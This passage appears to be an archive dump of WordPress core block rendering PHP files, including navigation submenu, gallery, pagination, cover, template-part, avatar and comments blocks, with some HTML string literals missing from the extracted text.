$attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); add_filter( 'comment_form_defaults', 'post_comments_form_block_form_defaults' ); ob_start(); comment_form( array(), $block->context['postId'] ); $form = ob_get_clean(); remove_filter( 'comment_form_defaults', 'post_comments_form_block_form_defaults' ); // We use the outermost wrapping `
    ` returned by `comment_form()` // which is identified by its default classname `comment-respond` to inject // our wrapper attributes. This way, it is guaranteed that all styling applied // to the block is carried along when the comment form is moved to the location // of the 'Reply' link that the user clicked by Core's `comment-reply.js` script. $form = str_replace( 'class="comment-respond"', $wrapper_attributes, $form ); // Enqueue the comment-reply script. wp_enqueue_script( 'comment-reply' ); return $form; } /** * Registers the `core/post-comments-form` block on the server. */ function register_block_core_post_comments_form() { register_block_type_from_metadata( __DIR__ . '/post-comments-form', array( 'render_callback' => 'render_block_core_post_comments_form', ) ); } add_action( 'init', 'register_block_core_post_comments_form' ); /** * Use the button block classes for the form-submit button. * * @param array $fields The default comment form arguments. * * @return array Returns the modified fields. */ function post_comments_form_block_form_defaults( $fields ) { if ( wp_is_block_theme() ) { $fields['submit_button'] = ''; $fields['submit_field'] = '

    %1$s %2$s

    '; } return $fields; } blocks/navigation-submenu.php000064400000021502151202620300012334 0ustar00 array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $context ); $has_custom_font_size = isset( $context['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %s;', wp_get_typography_font_size_value( array( 'size' => $context['style']['typography']['fontSize'], ) ) ); } return $font_sizes; } /** * Returns the top-level submenu SVG chevron icon. * * @return string */ function block_core_navigation_submenu_render_submenu_icon() { return ''; } /** * Renders the `core/navigation-submenu` block. * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the post content with the legacy widget added. */ function render_block_core_navigation_submenu( $attributes, $content, $block ) { $navigation_link_has_id = isset( $attributes['id'] ) && is_numeric( $attributes['id'] ); $is_post_type = isset( $attributes['kind'] ) && 'post-type' === $attributes['kind']; $is_post_type = $is_post_type || isset( $attributes['type'] ) && ( 'post' === $attributes['type'] || 'page' === $attributes['type'] ); // Don't render the block's subtree if it is a draft. if ( $is_post_type && $navigation_link_has_id && 'publish' !== get_post_status( $attributes['id'] ) ) { return ''; } // Don't render the block's subtree if it has no label. if ( empty( $attributes['label'] ) ) { return ''; } $font_sizes = block_core_navigation_submenu_build_css_font_sizes( $block->context ); $style_attribute = $font_sizes['inline_styles']; $css_classes = trim( implode( ' ', $font_sizes['css_classes'] ) ); $has_submenu = count( $block->inner_blocks ) > 0; $kind = empty( $attributes['kind'] ) ? 'post_type' : str_replace( '-', '_', $attributes['kind'] ); $is_active = ! empty( $attributes['id'] ) && get_queried_object_id() === (int) $attributes['id'] && ! empty( get_queried_object()->$kind ); $show_submenu_indicators = isset( $block->context['showSubmenuIcon'] ) && $block->context['showSubmenuIcon']; $open_on_click = isset( $block->context['openSubmenusOnClick'] ) && $block->context['openSubmenusOnClick']; $open_on_hover_and_click = isset( $block->context['openSubmenusOnClick'] ) && ! $block->context['openSubmenusOnClick'] && $show_submenu_indicators; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $css_classes . ' wp-block-navigation-item' . ( $has_submenu ? ' has-child' : '' ) . ( $open_on_click ? ' open-on-click' : '' ) . ( $open_on_hover_and_click ? ' open-on-hover-click' : '' ) . ( $is_active ? ' current-menu-item' : '' ), 'style' => $style_attribute, ) ); $label = ''; if ( isset( $attributes['label'] ) ) { $label .= wp_kses_post( $attributes['label'] ); } $aria_label = sprintf( /* translators: Accessibility text. %s: Parent page title. */ __( '%s submenu' ), wp_strip_all_tags( $label ) ); $html = '
  • '; // If Submenus open on hover, we render an anchor tag with attributes. // If submenu icons are set to show, we also render a submenu button, so the submenu can be opened on click. if ( ! $open_on_click ) { $item_url = isset( $attributes['url'] ) ? $attributes['url'] : ''; // Start appending HTML attributes to anchor tag. $html .= '
  • ', $wrapper_attributes, esc_url( $edit_comment_link ), $link_atts, esc_html__( 'Edit' ) ); } /** * Registers the `core/comment-edit-link` block on the server. */ function register_block_core_comment_edit_link() { register_block_type_from_metadata( __DIR__ . '/comment-edit-link', array( 'render_callback' => 'render_block_core_comment_edit_link', ) ); } add_action( 'init', 'register_block_core_comment_edit_link' ); blocks/page-list-item.php000064400000000526151202620300011345 0ustar00 $inner_block ) { if ( 'core/image' === $inner_block['blockName'] ) { if ( ! isset( $parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] ) && isset( $inner_block['attrs']['id'] ) ) { $parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] = esc_attr( $inner_block['attrs']['id'] ); } } } } return $parsed_block; } add_filter( 'render_block_data', 'block_core_gallery_data_id_backcompatibility' ); /** * Adds a style tag for the --wp--style--unstable-gallery-gap var. * * The Gallery block needs to recalculate Image block width based on * the current gap setting in order to maintain the number of flex columns * so a css var is added to allow this. * * @param array $attributes Attributes of the block being rendered. * @param string $content Content of the block being rendered. * @return string The content of the block being rendered. */ function block_core_gallery_render( $attributes, $content ) { $gap = $attributes['style']['spacing']['blockGap'] ?? null; // Skip if gap value contains unsupported characters. // Regex for CSS value borrowed from `safecss_filter_attr`, and used here // because we only want to match against the value, not the CSS attribute. if ( is_array( $gap ) ) { foreach ( $gap as $key => $value ) { // Make sure $value is a string to avoid PHP 8.1 deprecation error in preg_match() when the value is null. $value = is_string( $value ) ? $value : ''; $value = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value; // Get spacing CSS variable from preset value if provided. if ( is_string( $value ) && str_contains( $value, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $value, $index_to_splice ) ); $value = "var(--wp--preset--spacing--$slug)"; } $gap[ $key ] = $value; } } else { // Make sure $gap is a string to avoid PHP 8.1 deprecation error in preg_match() when the value is null. $gap = is_string( $gap ) ? $gap : ''; $gap = $gap && preg_match( '%[\\\(&=}]|/\*%', $gap ) ? null : $gap; // Get spacing CSS variable from preset value if provided. if ( is_string( $gap ) && str_contains( $gap, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $gap, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $gap, $index_to_splice ) ); $gap = "var(--wp--preset--spacing--$slug)"; } } $unique_gallery_classname = wp_unique_id( 'wp-block-gallery-' ); $processed_content = new WP_HTML_Tag_Processor( $content ); $processed_content->next_tag(); $processed_content->add_class( $unique_gallery_classname ); // --gallery-block--gutter-size is deprecated. --wp--style--gallery-gap-default should be used by themes that want to set a default // gap on the gallery. $fallback_gap = 'var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) )'; $gap_value = $gap ? $gap : $fallback_gap; $gap_column = $gap_value; if ( is_array( $gap_value ) ) { $gap_row = isset( $gap_value['top'] ) ? $gap_value['top'] : $fallback_gap; $gap_column = isset( $gap_value['left'] ) ? $gap_value['left'] : $fallback_gap; $gap_value = $gap_row === $gap_column ? $gap_row : $gap_row . ' ' . $gap_column; } // The unstable gallery gap calculation requires a real value (such as `0px`) and not `0`. if ( '0' === $gap_column ) { $gap_column = '0px'; } // Set the CSS variable to the column value, and the `gap` property to the combined gap value. $gallery_styles = array( array( 'selector' => ".wp-block-gallery.{$unique_gallery_classname}", 'declarations' => array( '--wp--style--unstable-gallery-gap' => $gap_column, 'gap' => $gap_value, ), ), ); wp_style_engine_get_stylesheet_from_css_rules( $gallery_styles, array( 'context' => 'block-supports', ) ); return (string) $processed_content; } /** * Registers the `core/gallery` block on server. */ function register_block_core_gallery() { register_block_type_from_metadata( __DIR__ . '/gallery', array( 'render_callback' => 'block_core_gallery_render', ) ); } add_action( 'init', 'register_block_core_gallery' ); blocks/query-pagination-next.php000064400000007142151202620300012775 0ustar00context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page'; $enhanced_pagination = isset( $block->context['enhancedPagination'] ) && $block->context['enhancedPagination']; $page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ]; $max_page = isset( $block->context['query']['pages'] ) ? (int) $block->context['query']['pages'] : 0; $wrapper_attributes = get_block_wrapper_attributes(); $show_label = isset( $block->context['showLabel'] ) ? (bool) $block->context['showLabel'] : true; $default_label = __( 'Next Page' ); $label_text = isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ? esc_html( $attributes['label'] ) : $default_label; $label = $show_label ? $label_text : ''; $pagination_arrow = get_query_pagination_arrow( $block, true ); if ( ! $label ) { $wrapper_attributes .= ' aria-label="' . $label_text . '"'; } if ( $pagination_arrow ) { $label .= $pagination_arrow; } $content = ''; // Check if the pagination is for Query that inherits the global context. if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) { $filter_link_attributes = static function () use ( $wrapper_attributes ) { return $wrapper_attributes; }; add_filter( 'next_posts_link_attributes', $filter_link_attributes ); // Take into account if we have set a bigger `max page` // than what the query has. global $wp_query; if ( $max_page > $wp_query->max_num_pages ) { $max_page = $wp_query->max_num_pages; } $content = get_next_posts_link( $label, $max_page ); remove_filter( 'next_posts_link_attributes', $filter_link_attributes ); } elseif ( ! $max_page || $max_page > $page ) { $custom_query = new WP_Query( build_query_vars_from_query_block( $block, $page ) ); $custom_query_max_pages = (int) $custom_query->max_num_pages; if ( $custom_query_max_pages && $custom_query_max_pages !== $page ) { $content = sprintf( '%3$s', esc_url( add_query_arg( $page_key, $page + 1 ) ), $wrapper_attributes, $label ); } wp_reset_postdata(); // Restore original Post Data. } if ( $enhanced_pagination && isset( $content ) ) { $p = new WP_HTML_Tag_Processor( $content ); if ( $p->next_tag( array( 'tag_name' => 'a', 'class_name' => 'wp-block-query-pagination-next', ) ) ) { $p->set_attribute( 'data-wp-key', 'query-pagination-next' ); $p->set_attribute( 'data-wp-on--click', 'actions.core.query.navigate' ); $p->set_attribute( 'data-wp-on--mouseenter', 'actions.core.query.prefetch' ); $p->set_attribute( 'data-wp-effect', 'effects.core.query.prefetch' ); $content = $p->get_updated_html(); } } return $content; } /** * Registers the `core/query-pagination-next` block on the server. */ function register_block_core_query_pagination_next() { register_block_type_from_metadata( __DIR__ . '/query-pagination-next', array( 'render_callback' => 'render_block_core_query_pagination_next', ) ); } add_action( 'init', 'register_block_core_query_pagination_next' ); blocks/cover.php000064400000004717151202620300007650 0ustar00 'wp-block-cover__image-background', 'data-object-fit' => 'cover', ); if ( isset( $attributes['focalPoint'] ) ) { $object_position = round( $attributes['focalPoint']['x'] * 100 ) . '% ' . round( $attributes['focalPoint']['y'] * 100 ) . '%'; $attr['data-object-position'] = $object_position; $attr['style'] = 'object-position: ' . $object_position; } $image = get_the_post_thumbnail( null, 'post-thumbnail', $attr ); /* * Inserts the featured image between the (1st) cover 'background' `span` and 'inner_container' `div`, * and removes eventual whitespace characters between the two (typically introduced at template level) */ $inner_container_start = '/]+wp-block-cover__inner-container[\s|"][^>]*>/U'; if ( 1 === preg_match( $inner_container_start, $content, $matches, PREG_OFFSET_CAPTURE ) ) { $offset = $matches[0][1]; $content = substr( $content, 0, $offset ) . $image . substr( $content, $offset ); } } else { if ( in_the_loop() ) { update_post_thumbnail_cache(); } $current_featured_image = get_the_post_thumbnail_url(); if ( ! $current_featured_image ) { return $content; } $processor = new WP_HTML_Tag_Processor( $content ); $processor->next_tag(); $styles = $processor->get_attribute( 'style' ); $merged_styles = ! empty( $styles ) ? $styles . ';' : ''; $merged_styles .= 'background-image:url(' . esc_url( $current_featured_image ) . ');'; $processor->set_attribute( 'style', $merged_styles ); $content = $processor->get_updated_html(); } return $content; } /** * Registers the `core/cover` block renderer on server. */ function register_block_core_cover() { register_block_type_from_metadata( __DIR__ . '/cover', array( 'render_callback' => 'render_block_core_cover', ) ); } add_action( 'init', 'register_block_core_cover' ); blocks/comment-author-name.php000064400000004057151202620300012407 0ustar00context['commentId'] ) ) { return ''; } $comment = get_comment( $block->context['commentId'] ); $commenter = wp_get_current_commenter(); $show_pending_links = isset( $commenter['comment_author'] ) && $commenter['comment_author']; if ( empty( $comment ) ) { return ''; } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); $comment_author = get_comment_author( $comment ); $link = get_comment_author_url( $comment ); if ( ! empty( $link ) && ! empty( $attributes['isLink'] ) && ! empty( $attributes['linkTarget'] ) ) { $comment_author = sprintf( '%3s', esc_url( $link ), esc_attr( $attributes['linkTarget'] ), $comment_author ); } if ( '0' === $comment->comment_approved && ! $show_pending_links ) { $comment_author = wp_kses( $comment_author, array() ); } return sprintf( '
    %2$s
    ', $wrapper_attributes, $comment_author ); } /** * Registers the `core/comment-author-name` block on the server. */ function register_block_core_comment_author_name() { register_block_type_from_metadata( __DIR__ . '/comment-author-name', array( 'render_callback' => 'render_block_core_comment_author_name', ) ); } add_action( 'init', 'register_block_core_comment_author_name' ); blocks/read-more.php000064400000003400151202620300010371 0ustar00context['postId'] ) ) { return ''; } $post_ID = $block->context['postId']; $post_title = get_the_title( $post_ID ); if ( '' === $post_title ) { $post_title = sprintf( /* translators: %s is post ID to describe the link for screen readers. */ __( 'untitled post %s' ), $post_ID ); } $screen_reader_text = sprintf( /* translators: %s is either the post title or post ID to describe the link for screen readers. */ __( ': %s' ), $post_title ); $justify_class_name = empty( $attributes['justifyContent'] ) ? '' : "is-justified-{$attributes['justifyContent']}"; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $justify_class_name ) ); $more_text = ! empty( $attributes['content'] ) ? wp_kses_post( $attributes['content'] ) : __( 'Read more' ); return sprintf( '%4s%5s', $wrapper_attributes, get_the_permalink( $post_ID ), esc_attr( $attributes['linkTarget'] ), $more_text, $screen_reader_text ); } /** * Registers the `core/read-more` block on the server. */ function register_block_core_read_more() { register_block_type_from_metadata( __DIR__ . '/read-more', array( 'render_callback' => 'render_block_core_read_more', ) ); } add_action( 'init', 'register_block_core_read_more' ); blocks/query-pagination-previous.php000064400000006065151202620300013676 0ustar00context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page'; $enhanced_pagination = isset( $block->context['enhancedPagination'] ) && $block->context['enhancedPagination']; $page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ]; $wrapper_attributes = get_block_wrapper_attributes(); $show_label = isset( $block->context['showLabel'] ) ? (bool) $block->context['showLabel'] : true; $default_label = __( 'Previous Page' ); $label_text = isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ? esc_html( $attributes['label'] ) : $default_label; $label = $show_label ? $label_text : ''; $pagination_arrow = get_query_pagination_arrow( $block, false ); if ( ! $label ) { $wrapper_attributes .= ' aria-label="' . $label_text . '"'; } if ( $pagination_arrow ) { $label = $pagination_arrow . $label; } $content = ''; // Check if the pagination is for Query that inherits the global context // and handle appropriately. if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) { $filter_link_attributes = static function () use ( $wrapper_attributes ) { return $wrapper_attributes; }; add_filter( 'previous_posts_link_attributes', $filter_link_attributes ); $content = get_previous_posts_link( $label ); remove_filter( 'previous_posts_link_attributes', $filter_link_attributes ); } elseif ( 1 !== $page ) { $content = sprintf( '%3$s', esc_url( add_query_arg( $page_key, $page - 1 ) ), $wrapper_attributes, $label ); } if ( $enhanced_pagination && isset( $content ) ) { $p = new WP_HTML_Tag_Processor( $content ); if ( $p->next_tag( array( 'tag_name' => 'a', 'class_name' => 'wp-block-query-pagination-previous', ) ) ) { $p->set_attribute( 'data-wp-key', 'query-pagination-previous' ); $p->set_attribute( 'data-wp-on--click', 'actions.core.query.navigate' ); $p->set_attribute( 'data-wp-on--mouseenter', 'actions.core.query.prefetch' ); $p->set_attribute( 'data-wp-effect', 'effects.core.query.prefetch' ); $content = $p->get_updated_html(); } } return $content; } /** * Registers the `core/query-pagination-previous` block on the server. */ function register_block_core_query_pagination_previous() { register_block_type_from_metadata( __DIR__ . '/query-pagination-previous', array( 'render_callback' => 'render_block_core_query_pagination_previous', ) ); } add_action( 'init', 'register_block_core_query_pagination_previous' ); blocks/template-part.php000064400000023001151202620300011274 0ustar00 'wp_template_part', 'post_status' => 'publish', 'post_name__in' => array( $attributes['slug'] ), 'tax_query' => array( array( 'taxonomy' => 'wp_theme', 'field' => 'name', 'terms' => $theme, ), ), 'posts_per_page' => 1, 'no_found_rows' => true, 'lazy_load_term_meta' => false, // Do not lazy load term meta, as template parts only have one term. ) ); $template_part_post = $template_part_query->have_posts() ? $template_part_query->next_post() : null; if ( $template_part_post ) { // A published post might already exist if this template part was customized elsewhere // or if it's part of a customized template. $content = $template_part_post->post_content; $area_terms = get_the_terms( $template_part_post, 'wp_template_part_area' ); if ( ! is_wp_error( $area_terms ) && false !== $area_terms ) { $area = $area_terms[0]->name; } /** * Fires when a block template part is loaded from a template post stored in the database. * * @since 5.9.0 * * @param string $template_part_id The requested template part namespaced to the theme. * @param array $attributes The block attributes. * @param WP_Post $template_part_post The template part post object. * @param string $content The template part content. */ do_action( 'render_block_core_template_part_post', $template_part_id, $attributes, $template_part_post, $content ); } else { $template_part_file_path = ''; // Else, if the template part was provided by the active theme, // render the corresponding file content. if ( 0 === validate_file( $attributes['slug'] ) ) { $block_template = get_block_file_template( $template_part_id, 'wp_template_part' ); $content = $block_template->content; if ( isset( $block_template->area ) ) { $area = $block_template->area; } } if ( '' !== $content && null !== $content ) { /** * Fires when a block template part is loaded from a template part in the theme. * * @since 5.9.0 * * @param string $template_part_id The requested template part namespaced to the theme. * @param array $attributes The block attributes. * @param string $template_part_file_path Absolute path to the template path. * @param string $content The template part content. */ do_action( 'render_block_core_template_part_file', $template_part_id, $attributes, $template_part_file_path, $content ); } else { /** * Fires when a requested block template part does not exist in the database nor in the theme. * * @since 5.9.0 * * @param string $template_part_id The requested template part namespaced to the theme. * @param array $attributes The block attributes. * @param string $template_part_file_path Absolute path to the not found template path. */ do_action( 'render_block_core_template_part_none', $template_part_id, $attributes, $template_part_file_path ); } } } // WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent // is set in `wp_debug_mode()`. $is_debug = WP_DEBUG && WP_DEBUG_DISPLAY; if ( is_null( $content ) && $is_debug ) { if ( ! isset( $attributes['slug'] ) ) { // If there is no slug this is a placeholder and we dont want to return any message. return; } return sprintf( /* translators: %s: Template part slug. */ __( 'Template part has been deleted or is unavailable: %s' ), $attributes['slug'] ); } if ( isset( $seen_ids[ $template_part_id ] ) ) { return $is_debug ? // translators: Visible only in the front end, this warning takes the place of a faulty block. __( '[block rendering halted]' ) : ''; } // Look up area definition. $area_definition = null; $defined_areas = get_allowed_block_template_part_areas(); foreach ( $defined_areas as $defined_area ) { if ( $defined_area['area'] === $area ) { $area_definition = $defined_area; break; } } // If $area is not allowed, set it back to the uncategorized default. if ( ! $area_definition ) { $area = WP_TEMPLATE_PART_AREA_UNCATEGORIZED; } // Run through the actions that are typically taken on the_content. $content = shortcode_unautop( $content ); $content = do_shortcode( $content ); $seen_ids[ $template_part_id ] = true; $content = do_blocks( $content ); unset( $seen_ids[ $template_part_id ] ); $content = wptexturize( $content ); $content = convert_smilies( $content ); $content = wp_filter_content_tags( $content, "template_part_{$area}" ); // Handle embeds for block template parts. global $wp_embed; $content = $wp_embed->autoembed( $content ); if ( empty( $attributes['tagName'] ) || tag_escape( $attributes['tagName'] ) !== $attributes['tagName'] ) { $area_tag = 'div'; if ( $area_definition && isset( $area_definition['area_tag'] ) ) { $area_tag = $area_definition['area_tag']; } $html_tag = $area_tag; } else { $html_tag = esc_attr( $attributes['tagName'] ); } $wrapper_attributes = get_block_wrapper_attributes(); return "<$html_tag $wrapper_attributes>" . str_replace( ']]>', ']]>', $content ) . ""; } /** * Returns an array of area variation objects for the template part block. * * @param array $instance_variations The variations for instances. * * @return array Array containing the block variation objects. */ function build_template_part_block_area_variations( $instance_variations ) { $variations = array(); $defined_areas = get_allowed_block_template_part_areas(); foreach ( $defined_areas as $area ) { if ( 'uncategorized' !== $area['area'] ) { $has_instance_for_area = false; foreach ( $instance_variations as $variation ) { if ( $variation['attributes']['area'] === $area['area'] ) { $has_instance_for_area = true; break; } } $scope = $has_instance_for_area ? array() : array( 'inserter' ); $variations[] = array( 'name' => 'area_' . $area['area'], 'title' => $area['label'], 'description' => $area['description'], 'attributes' => array( 'area' => $area['area'], ), 'scope' => $scope, 'icon' => $area['icon'], ); } } return $variations; } /** * Returns an array of instance variation objects for the template part block * * @return array Array containing the block variation objects. */ function build_template_part_block_instance_variations() { // Block themes are unavailable during installation. if ( wp_installing() ) { return array(); } if ( ! current_theme_supports( 'block-templates' ) && ! current_theme_supports( 'block-template-parts' ) ) { return array(); } $variations = array(); $template_parts = get_block_templates( array( 'post_type' => 'wp_template_part', ), 'wp_template_part' ); $defined_areas = get_allowed_block_template_part_areas(); $icon_by_area = array_combine( array_column( $defined_areas, 'area' ), array_column( $defined_areas, 'icon' ) ); foreach ( $template_parts as $template_part ) { $variations[] = array( 'name' => 'instance_' . sanitize_title( $template_part->slug ), 'title' => $template_part->title, // If there's no description for the template part don't show the // block description. This is a bit hacky, but prevent the fallback // by using a non-breaking space so that the value of description // isn't falsey. 'description' => $template_part->description || ' ', 'attributes' => array( 'slug' => $template_part->slug, 'theme' => $template_part->theme, 'area' => $template_part->area, ), 'scope' => array( 'inserter' ), 'icon' => isset( $icon_by_area[ $template_part->area ] ) ? $icon_by_area[ $template_part->area ] : null, 'example' => array( 'attributes' => array( 'slug' => $template_part->slug, 'theme' => $template_part->theme, 'area' => $template_part->area, ), ), ); } return $variations; } /** * Returns an array of all template part block variations. * * @return array Array containing the block variation objects. */ function build_template_part_block_variations() { $instance_variations = build_template_part_block_instance_variations(); $area_variations = build_template_part_block_area_variations( $instance_variations ); return array_merge( $area_variations, $instance_variations ); } /** * Registers the `core/template-part` block on the server. */ function register_block_core_template_part() { register_block_type_from_metadata( __DIR__ . '/template-part', array( 'render_callback' => 'render_block_core_template_part', 'variations' => build_template_part_block_variations(), ) ); } add_action( 'init', 'register_block_core_template_part' ); blocks/post-author-biography.php000064400000002650151202620300012773 0ustar00context['postId'] ) ) { return ''; } $author_id = get_post_field( 'post_author', $block->context['postId'] ); if ( empty( $author_id ) ) { return ''; } $author_biography = get_the_author_meta( 'description', $author_id ); if ( empty( $author_biography ) ) { return ''; } $align_class_name = empty( $attributes['textAlign'] ) ? '' : "has-text-align-{$attributes['textAlign']}"; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) ); return sprintf( '
    ', $wrapper_attributes ) . $author_biography . '
    '; } /** * Registers the `core/post-author-biography` block on the server. */ function register_block_core_post_author_biography() { register_block_type_from_metadata( __DIR__ . '/post-author-biography', array( 'render_callback' => 'render_block_core_post_author_biography', ) ); } add_action( 'init', 'register_block_core_post_author_biography' ); blocks/term-description.php000064400000002422151202620300012011 0ustar00 implode( ' ', $classes ) ) ); return '
    ' . $term_description . '
    '; } /** * Registers the `core/term-description` block on the server. */ function register_block_core_term_description() { register_block_type_from_metadata( __DIR__ . '/term-description', array( 'render_callback' => 'render_block_core_term_description', ) ); } add_action( 'init', 'register_block_core_term_description' ); blocks/pattern.php000064400000002636151202620300010205 0ustar00 'render_block_core_pattern', ) ); } /** * Renders the `core/pattern` block on the server. * * @since 6.3.0 Backwards compatibility: blocks with no `syncStatus` attribute do not receive block wrapper. * * @param array $attributes Block attributes. * * @return string Returns the output of the pattern. */ function render_block_core_pattern( $attributes ) { if ( empty( $attributes['slug'] ) ) { return ''; } $slug = $attributes['slug']; $registry = WP_Block_Patterns_Registry::get_instance(); if ( ! $registry->is_registered( $slug ) ) { return ''; } $pattern = $registry->get_registered( $slug ); $content = $pattern['content']; // Backward compatibility for handling Block Hooks and injecting the theme attribute in the Gutenberg plugin. // This can be removed when the minimum supported WordPress is >= 6.4. if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN && ! function_exists( 'traverse_and_serialize_blocks' ) ) { $blocks = parse_blocks( $content ); $content = gutenberg_serialize_blocks( $blocks ); } return do_blocks( $content ); } add_action( 'init', 'register_block_core_pattern' ); blocks/heading.php000064400000002357151202620300010127 0ustar00Hello World * * Would be transformed to: *

    Hello World

    * * @param array $attributes Attributes of the block being rendered. * @param string $content Content of the block being rendered. * * @return string The content of the block being rendered. */ function block_core_heading_render( $attributes, $content ) { if ( ! $content ) { return $content; } $p = new WP_HTML_Tag_Processor( $content ); $header_tags = array( 'H1', 'H2', 'H3', 'H4', 'H5', 'H6' ); while ( $p->next_tag() ) { if ( in_array( $p->get_tag(), $header_tags, true ) ) { $p->add_class( 'wp-block-heading' ); break; } } return $p->get_updated_html(); } /** * Registers the `core/heading` block on server. */ function register_block_core_heading() { register_block_type_from_metadata( __DIR__ . '/heading', array( 'render_callback' => 'block_core_heading_render', ) ); } add_action( 'init', 'register_block_core_heading' ); blocks/avatar.php000064400000013013151202620300007775 0ustar00context['commentId'] ) ) { $author_id = isset( $attributes['userId'] ) ? $attributes['userId'] : get_post_field( 'post_author', $block->context['postId'] ); $author_name = get_the_author_meta( 'display_name', $author_id ); // translators: %s is the Author name. $alt = sprintf( __( '%s Avatar' ), $author_name ); $avatar_block = get_avatar( $author_id, $size, '', $alt, array( 'extra_attr' => $image_styles, 'class' => $image_classes, ) ); if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) { $label = ''; if ( '_blank' === $attributes['linkTarget'] ) { // translators: %s is the Author name. $label = 'aria-label="' . esc_attr( sprintf( __( '(%s author archive, opens in a new tab)' ), $author_name ) ) . '"'; } // translators: %1$s: Author archive link. %2$s: Link target. %3$s Aria label. %4$s Avatar image. $avatar_block = sprintf( '%4$s', esc_url( get_author_posts_url( $author_id ) ), esc_attr( $attributes['linkTarget'] ), $label, $avatar_block ); } return sprintf( '
    %2s
    ', $wrapper_attributes, $avatar_block ); } $comment = get_comment( $block->context['commentId'] ); if ( ! $comment ) { return ''; } /* translators: %s is the Comment Author name */ $alt = sprintf( __( '%s Avatar' ), $comment->comment_author ); $avatar_block = get_avatar( $comment, $size, '', $alt, array( 'extra_attr' => $image_styles, 'class' => $image_classes, ) ); if ( isset( $attributes['isLink'] ) && $attributes['isLink'] && isset( $comment->comment_author_url ) && '' !== $comment->comment_author_url ) { $label = ''; if ( '_blank' === $attributes['linkTarget'] ) { // translators: %s is the Comment Author name. $label = 'aria-label="' . esc_attr( sprintf( __( '(%s website link, opens in a new tab)' ), $comment->comment_author ) ) . '"'; } // translators: %1$s: Comment Author website link. %2$s: Link target. %3$s Aria label. %4$s Avatar image. $avatar_block = sprintf( '%4$s', esc_url( $comment->comment_author_url ), esc_attr( $attributes['linkTarget'] ), $label, $avatar_block ); } return sprintf( '
    %2s
    ', $wrapper_attributes, $avatar_block ); } /** * Generates class names and styles to apply the border support styles for * the Avatar block. * * @param array $attributes The block attributes. * @return array The border-related classnames and styles for the block. */ function get_block_core_avatar_border_attributes( $attributes ) { $border_styles = array(); $sides = array( 'top', 'right', 'bottom', 'left' ); // Border radius. if ( isset( $attributes['style']['border']['radius'] ) ) { $border_styles['radius'] = $attributes['style']['border']['radius']; } // Border style. if ( isset( $attributes['style']['border']['style'] ) ) { $border_styles['style'] = $attributes['style']['border']['style']; } // Border width. if ( isset( $attributes['style']['border']['width'] ) ) { $border_styles['width'] = $attributes['style']['border']['width']; } // Border color. $preset_color = array_key_exists( 'borderColor', $attributes ) ? "var:preset|color|{$attributes['borderColor']}" : null; $custom_color = $attributes['style']['border']['color'] ?? null; $border_styles['color'] = $preset_color ? $preset_color : $custom_color; // Individual border styles e.g. top, left etc. foreach ( $sides as $side ) { $border = $attributes['style']['border'][ $side ] ?? null; $border_styles[ $side ] = array( 'color' => isset( $border['color'] ) ? $border['color'] : null, 'style' => isset( $border['style'] ) ? $border['style'] : null, 'width' => isset( $border['width'] ) ? $border['width'] : null, ); } $styles = wp_style_engine_get_styles( array( 'border' => $border_styles ) ); $attributes = array(); if ( ! empty( $styles['classnames'] ) ) { $attributes['class'] = $styles['classnames']; } if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } /** * Registers the `core/avatar` block on the server. */ function register_block_core_avatar() { register_block_type_from_metadata( __DIR__ . '/avatar', array( 'render_callback' => 'render_block_core_avatar', ) ); } add_action( 'init', 'register_block_core_avatar' ); blocks/comments.php000064400000014740151202620300010354 0ustar00context['postId']; if ( ! isset( $post_id ) ) { return ''; } // Return early if there are no comments and comments are closed. if ( ! comments_open( $post_id ) && (int) get_comments_number( $post_id ) === 0 ) { return ''; } // If this isn't the legacy block, we need to render the static version of this block. $is_legacy = 'core/post-comments' === $block->name || ! empty( $attributes['legacy'] ); if ( ! $is_legacy ) { return $block->render( array( 'dynamic' => false ) ); } $post_before = $post; $post = get_post( $post_id ); setup_postdata( $post ); ob_start(); /* * There's a deprecation warning generated by WP Core. * Ideally this deprecation is removed from Core. * In the meantime, this removes it from the output. */ add_filter( 'deprecated_file_trigger_error', '__return_false' ); comments_template(); remove_filter( 'deprecated_file_trigger_error', '__return_false' ); $output = ob_get_clean(); $post = $post_before; $classnames = array(); // Adds the old class name for styles' backwards compatibility. if ( isset( $attributes['legacy'] ) ) { 